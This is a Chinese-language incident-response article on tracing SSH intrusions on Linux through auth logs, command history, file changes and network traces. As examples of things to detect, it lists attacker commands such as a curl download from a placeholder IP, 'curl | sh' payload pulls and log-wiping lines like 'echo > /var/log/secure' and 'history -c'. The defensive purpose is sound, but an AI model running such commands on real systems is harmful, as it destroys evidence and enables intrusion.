Linux日志时间线分析与SSH入侵溯源
Linux日志时间线分析与SSH入侵溯源
在 0x02电子取证 中,我们已经把 Linux 侧常见证据源梳理出来,例如 /var/log/secure、/var/log/auth.log、wtmp、lastlog、Web 访问日志与命令历史文件。真正困难的部分并不是“把日志拷出来”,而是如何把这些分散的文本、二进制记录和访问痕迹,拼接成一条可落地的攻击时间线。
本文聚焦 Linux 主机在应急响应中的分析方法:从 SSH 爆破到成功登录,从提权到横向移动,再到清痕与持久化,逐步恢复攻击者的行为路径。
0x01 先回答三个问题
面对一台疑似被入侵的 Linux 主机,蓝队应优先回答三个问题:
- 攻击者是怎么进来的? 重点看 SSH、Web、计划任务、应用弱口令与公开暴露服务。
- 攻击者进入后做了什么? 重点看命令执行、文件落地、提权、横向连接、打包外传。
- 攻击者是否留下了回来的门?
重点看 SSH 公钥、计划任务、systemd 服务、
rc.local、WebShell。
这三个问题决定了你如何组织时间线,而不是陷入日志海洋里逐行翻看。
0x02 SSH 入侵的核心证据链
Linux 主机最常见的初始突破面仍然是 SSH。不同发行版的关键文件略有区别:
- Debian/Ubuntu 常见为
/var/log/auth.log - CentOS/RHEL 常见为
/var/log/secure - 登录会话记录在
/var/log/wtmp、/var/log/btmp - 用户最后登录信息在
/var/log/lastlog
1. 爆破阶段
典型特征是高频 Failed password、Invalid user、authentication failure。
分析重点:
- 统计失败源 IP 是否集中
- 观察是否针对多个用户名进行字典尝试
- 判断是否存在短时间、大范围的弱口令探测
常见分析命令:
如果某个 IP 在几分钟内对 root、admin、oracle、test 等账户反复尝试,通常可判定为外部爆破或脚本化撞库。
2. 成功登录阶段
当日志出现 Accepted password、Accepted publickey 时,意味着攻击者已经拿到一条可用身份。
分析重点:
- 登录成功的源 IP 是否与此前爆破 IP 重合
- 成功登录的账号是否为高价值账号,例如
root - 登录时间是否异常,例如凌晨、节假日、无人值守时段
- 登录后的 TTY、来源地理位置、会话时长是否可疑
常见分析命令:
这里要特别注意一个误区:Accepted publickey 不代表就是合法登录,它常常说明攻击者已经写入了恶意公钥,下一步要马上检查 ~/.ssh/authorized_keys 与文件修改时间。
3. 横向或代理登录阶段
攻击者拿到一台 Linux 服务器后,经常把它当作跳板机继续打内网。
重点异常:
- 某个低权限业务账号突然出现大量
ssh外连 - 主机在夜间对内网多台服务器发起 22、3306、6379、445 等连接
- 登录后迅速执行
curl、wget、scp、sshpass、socat、nc
这时要把认证日志与网络连接信息结合分析,而不是只盯着 auth.log。
0x03 时间线拼接的四层视角
一条有效的 Linux 入侵时间线,通常由以下四层证据拼接而成。
1. 认证层
回答“谁从哪来,以什么方式进入”:
/var/log/secure或/var/log/auth.logwtmp/btmplast/lastb/lastlog
2. 命令层
回答“进来之后敲了什么”:
~/.bash_history~/.zsh_history/root/.bash_historyHISTTIMEFORMAT是否启用
但要注意,命令历史并不天然可信。攻击者可能:
- 执行
history -c - 删除历史文件
- 使用
unset HISTFILE - 使用非交互 shell 执行命令
- 通过脚本、计划任务或 WebShell 执行而不进入交互式终端
因此命令历史只能算辅助证据,必须和日志、文件时间戳、进程和网络痕迹互证。
3. 文件层
回答“落地了什么、改了什么”:
/tmp、/var/tmp、/dev/shm- 用户主目录中的隐藏文件
.ssh/authorized_keys/etc/passwd、/etc/shadow、/etc/sudoers/etc/cron*、/etc/systemd/system/
分析时重点关注:
- 新增 ELF、脚本、压缩包
- 最近修改的服务配置与计划任务
- 明显伪装成系统组件的文件名,例如
sysup,dbusd,kworker
4. 网络层
回答“和谁通信、是否发生出站控制或数据外传”:
- Web 访问日志
- 防火墙日志
- 抓包文件或连接记录
~/.ssh/known_hosts
若发现主机对外持续访问陌生 IP,且周期稳定、字节长度接近,需考虑该主机已被植入后门或 Beacon。
0x04 Linux 提权与持久化的分析重点
攻击者登录成功后,不会满足于普通用户权限,下一步通常是提权和建立持久化。
1. 提权分析
要重点检查以下行为:
sudo调用记录su -用户切换- 新增 UID 为 0 的异常账户
- SUID/SGID 异常文件
- 可写系统路径被植入恶意程序
典型命令:
如果出现“普通业务账号登录 -> sudo 执行 -> 修改计划任务或写入公钥”的链条,基本可以还原一次典型的入侵升级过程。
2. 持久化分析
Linux 持久化通常偏好以下位置:
~/.ssh/authorized_keys/etc/crontab、/var/spool/cron//etc/systemd/system/*.service/etc/rc.local/etc/profile、/etc/profile.d/
攻击者偏爱的几个动作:
- 写入攻击者公钥实现免密重入
- 通过
@reboot任务拉起下载器或反连木马 - 注册伪装成系统服务的
systemd单元 - 在
/etc/profile.d/中注入登录即执行的恶意脚本
这里与 0x02 的“启动项检查”“计划任务检查”天然衔接:采集阶段找证据点,分析阶段要判断这些证据是否构成完整的驻留链。
0x05 从 Web 入侵到 SSH 控制的串联分析
很多 Linux 服务器并不是先从 SSH 被打进来,而是先从 Web 业务突破。
常见链条如下:
- Web 日志出现异常上传、命令执行或路径遍历请求
- 攻击者通过 WebShell 执行
whoami、uname -a、id - 写入临时脚本到
/tmp或下载 ELF - 添加新用户、公钥或计划任务
- 改用 SSH 稳定接管主机
因此,一旦发现 Linux 主机存在 SSH 异常成功登录,要向前回溯:
- Web 日志是否在此前数分钟内出现敏感请求
/var/www、应用目录、上传目录是否新增异常文件- 是否存在
curl | sh、wget拉载荷痕迹
只看 SSH,往往只能看到“控制已经建立”;把 Web、文件和认证日志串起来,才能看到“攻击是如何发生的”。
0x06 清痕与反取证识别
成熟攻击者会主动清痕。Linux 取证时要警惕以下异常:
- 关键日志文件体积突然变小
- 某些日志时段出现断层
bash_history时间明显晚于登录时间- 只删除当前用户历史,遗漏
root或其他运维账号历史 wtmp、btmp异常为空,或时间戳错乱
几个常见清痕动作:
history -c && history -wecho > /var/log/securesed -i删除特定 IP 或关键词touch -t伪造文件时间
判断反取证时,不要只看“有没有日志”,而要看日志是否连续、时间是否闭环、不同来源是否互相印证。
0x07 实战中的时间线构建方法
建议按如下顺序构建主机时间线:
- 先锁定入侵窗口:从告警、异常进程、异常流量倒推到大致时间段。
- 再抽认证日志:确认首次成功进入的身份、来源 IP 和方式。
- 再看命令与文件:恢复攻击者落地、提权、持久化动作。
- 最后关联网络:确认是否发生横向移动、C2 通信或数据外传。
如果条件允许,把多源证据统一成表格:
| 时间 | 证据源 | 行为 | 结论 |
|---|---|---|---|
| 02:13:21 | /var/log/secure | Failed password 高速出现 | 外部爆破开始 |
| 02:18:44 | /var/log/secure | Accepted password for root | 攻击者成功进入 |
| 02:19:01 | ~/.bash_history | curl -O http://x.x.x.x/a | 下载载荷 |
| 02:20:10 | /etc/cron.d/ 修改时间 | 新增计划任务 | 建立持久化 |
| 02:23:05 | Web / 流量日志 | 对外持续连接 | 疑似 C2 建立 |
这种“可交付”的时间线,比单纯罗列日志命令更适合实战汇报和后续处置。
0x08 总结
Linux 主机取证最怕两件事:一是只会导日志不会分析,二是把单点异常误判成完整攻击链。真正有效的入侵溯源,必须把认证日志、命令历史、文件落地与网络行为拼成同一条时间线。
当你能回答“攻击者从哪里来、何时进入、如何提权、留下了什么后门、是否继续横向扩散”这五个问题时,0x02电子取证 的证据采集才算真正升级为 0x03取证分析 的作战能力。